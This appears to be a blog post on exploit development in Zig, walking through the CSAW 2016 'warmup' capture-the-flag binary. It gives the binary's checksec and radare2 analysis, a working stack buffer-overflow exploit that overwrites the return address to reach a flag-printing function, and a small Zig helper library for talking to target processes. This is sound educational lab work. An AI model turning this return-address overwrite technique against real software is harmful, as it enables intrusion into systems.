[Home] [Blog] [Showcase] [About]



                                                        
       -.                                 -`      
       oNy:                            `+dM.      
       /MMMd+`                       .oNMMN       
       -MMmmMNy-                  `/hNMdMMm       
       `MMh`/hMNd/`             -smMNy-.MMh       
        NMm  `-sNMmyyyyyyyyyyyyhNMd+.  -MMs       
        dMM    :dMMMMdhhhhhhhNMMMMs.   /MM/       
        yMM. -hNMh+NMh`     :NMd+mMmo. sMM-       
        oMMoyNMh:  :NMh`   :NMd. `+mMmohMM`       
        :MMMMh:`    :NMh` :NMd.    .omMMMN        
        /MMd/`       /NMh/NMd.       .oNMN`       
       `dMN.          /NMMMd`          +MM+       
       +MM+            sMMM-            dMN.      
      .NMd`           :NMMMh`           :MMy      
      +NMm/`         :NMd/NMd`         .oMMm.     
       :yNMmo.      :NMd` :NMd`     `:yNMmo.      
         .+dMNh:`  :NMd`   :NMd`  .+dMNh:`        
           `:yNMdo/NMd.     /NMd:yNMmo-           
              .omMMMMdhhhhhhhNMMMNh/`             
                `/NMMdyyyyyyyNMMh-                
                  -mMm-     +MMy`                 
                   .mMN-   oMMs                   
                    .dMNyyhMMo                    
                     `yhhhhh+                     
                                                  
    

Artix Fox

|---------------------------------------------------------------------------|
|-------------------------Exploit development with zig----------------------|
|-------------------------------and nightmare-------------------------------|
|---------------------------------------------------------------------------|
                                                                24 April 2021
--[Table of content 1. Module 05-bof-callfunction Challenge 1- Csaw16 warmup 2. Simple barebones library 3. Code
Challenge 1- Csaw16 warmup
----------------------------------------------------------------------
Lets start by analyzing the binary and check what mitigations it has

        ❯ file warmup
        warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
        dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
        for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped

        ❯ pwn checksec warmup                                   
        [*] '/home/void/nightmare/modules/05-bof_callfunction/csaw16_warmup/warmup'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
        
So the binary is 64 bit with NX bit enabled. Lets run it and see what it does

        ❯ ./warmup
        -Warm Up-
        WOW:0x40060d
        >hello world AAAAAAAAA 
        
It prints a hex number, asks for input and exit. Let's fire up radare2 and check the binary

        [0x7f340a25c050]> afl
        0x00400520    1 41           entry0
        0x004004e0    1 6            sym.imp.__libc_start_main
        0x00400550    4 41           sym.deregister_tm_clones
        0x00400580    4 57           sym.register_tm_clones
        0x004005c0    3 28           sym.__do_global_dtors_aux
        0x004005e0    4 45   -> 42   entry.init0
        0x00400720    1 2            sym.__libc_csu_fini
        0x00400724    1 9            sym._fini
        0x004006b0    4 101          sym.__libc_csu_init
        0x0040060d    1 16           sym.easy
        0x004004d0    1 6            sym.imp.system
        0x0040061d    1 136          main
        0x004004c0    1 6            sym.imp.write
        0x00400510    1 6            sym.imp.sprintf
        0x00400500    1 6            sym.imp.gets
        0x00400488    3 26           sym._init
        0x004004f0    1 6            loc.imp.__gmon_start__
        
soo there ius a new function called sym.easy that has the same address as the hex number Lets see what the binary does

        void main(void){
        int64_t var_80h;
        int64_t var_40h;
    
        sym.imp.write(1, "-Warm Up-\n", 10);
        sym.imp.write(1, "WOW:", 4);
        sym.imp.sprintf(&var_80h, 0x400751, sym.easy);
        sym.imp.write(1, &var_80h, 9);
        sym.imp.write(1, 0x400755, 1);
        sym.imp.gets(&var_40h);
        return;
        }
    
A good thing that i discovered about radare is that the variable name tells its offset from rbp. Soo keeping the variable name in mind, we can show how the stack looks like
    +----------------+
    |    var_80h     |
    +----------------+
    |    var_40h     |
    +----------------+
    | saved rbp addr |
    +----------------+
    | return address |
    +----------------+
    
We want to overwrite the return address with our own address. Also, the address size on 64 bit is 8 byte. Keeping all this in mind, we can now see what our exploit might look like. Soo now lets see the code. You probably guessed it, there isnt much change in the code, except padding size,address, size of the buffer 'addr', u32 in std.mem.writeIntSlice being u64. Lets run our exploit and check if it is correct

        ❯ zig run shit.zig
        Trying to open ./warmup%                                  
        -Warm Up-              
        WOW:0x40060d
        >flag{g0ttem_b0yz}
    
AND IT WORKED!!
Simple barebones library
----------------------------------------------------------------------
To make our and everyone else's life better, we should write a library, Let's do it! We just want this library to be barebones for now as we really dont care about cool features of pwntools. lets make 2 files, called pipes.zig and pack.zig in pack.zig, we will make a small function called pack

        pub fn pack(comptime T: type, buff: []u8, value: T, endian: builtin.Endian) void {
            std.mem.writeIntSlice(T, buff[0..], value, endian);
        }
    
Now, in pipes.zig, lets make some functions

    pub fn openLocal(fileArgs: []const []const u8, alloc: *std.mem.Allocator) !*std.ChildProcess {
        try std.io.getStdOut().writer().print("Trying to open: {s}", .{fileArgs[0]});
        var proc = try std.ChildProcess.init(fileArgs, alloc);
        return proc;
    }
    pub fn LocalSendline(proc: *std.ChildProcess, value: []const u8) !void {
        _ = try proc.stdin.?.write(value);
    }

    pub fn LocalSendArraylist(proc: *std.ChildProcess, arry: std.ArrayList(u8)) !void {
        try proc.stdin.?.writer().print("{s}", .{arry.items});
    }

    pub fn LocalReadline(proc: *std.ChildProcess, alloc: *std.mem.Allocator, delimiter: u8, max: u64) !?[]u8 {
        return try proc.stdout.?.reader().readUntilDelimiterOrEofAlloc(alloc, delimiter, max);
    }   
    
We defined 4 functions here: - openLocal -> Open a binary and return it - LocalSendline -> send a []u8 to process. - LocalSendArraylist -> send items of arraylist to the process - LocalReadline -> read until a delimiter from the process's stdout this looks good enough for today, we will be using this library for everything now.
Code
----------------------------------------------------------------------
Exploit Code:

    const std = @import("std");
    
    pub fn main() anyerror!void {
        var gpa = std.heap.GeneralPurposeAllocator(.{}){};
        defer _ = gpa.deinit();
        var arena = std.heap.ArenaAllocator.init(&gpa.allocator);
        var alloc = &arena.allocator;
        defer arena.deinit();
        try std.io.getStdOut().writer().print("Trying to open ./warmup", .{});
    
        var proc = try std.ChildProcess.init(&[_][]const u8{"./warmup"}, alloc);
        proc.stdin_behavior = .Pipe;
        proc.stdout_behavior = .Inherit;
        try proc.spawn();
        var addr: [8]u8 = undefined;
    
        std.mem.writeIntSlice(
            u64,
            addr[0..],
            0x40060d,
            std.builtin.Endian.Little,
        );
        try proc.stdin.?.writer().print("{s}{s}\n", .{ "0" ** 0x48, addr[0..] });
    }




pipes.zig:

    const testing = std.testing;
    const std = @import("std");
    const ArrayList = std.ArrayList;
    const File = std.fs.File;
    const mem = std.mem;
    const net = std.net;

    pub fn openLocal(fileArgs: []const []const u8, alloc: *std.mem.Allocator) !*std.ChildProcess {
        try std.io.getStdOut().writer().print("Trying to open: {s}", .{fileArgs[0]});
        var proc = try std.ChildProcess.init(fileArgs, alloc);
        return proc;
    }

    pub fn LocalSendline(proc: *std.ChildProcess, value: []const u8) !void {
        _ = try proc.stdin.?.write(value);
    }
    pub fn LocalSendArraylist(proc: *std.ChildProcess, arry: std.ArrayList(u8)) !void {
        try proc.stdin.?.writer().print("{s}", .{arry.items});
    }

    pub fn LocalReadline(proc: *std.ChildProcess, alloc: *std.mem.Allocator, delimiter: u8, max: u64) !?[]u8 {
        return try proc.stdout.?.reader().readUntilDelimiterOrEofAlloc(alloc, delimiter, max);
    }

pack.zig:

    const std = @import("std");
    const builtin = std.builtin;
    const testing = std.testing;

    pub fn pack(comptime T: type, buff: []u8, value: T, endian: builtin.Endian) void {
        std.mem.writeIntSlice(T, buff[0..], value, endian);
    }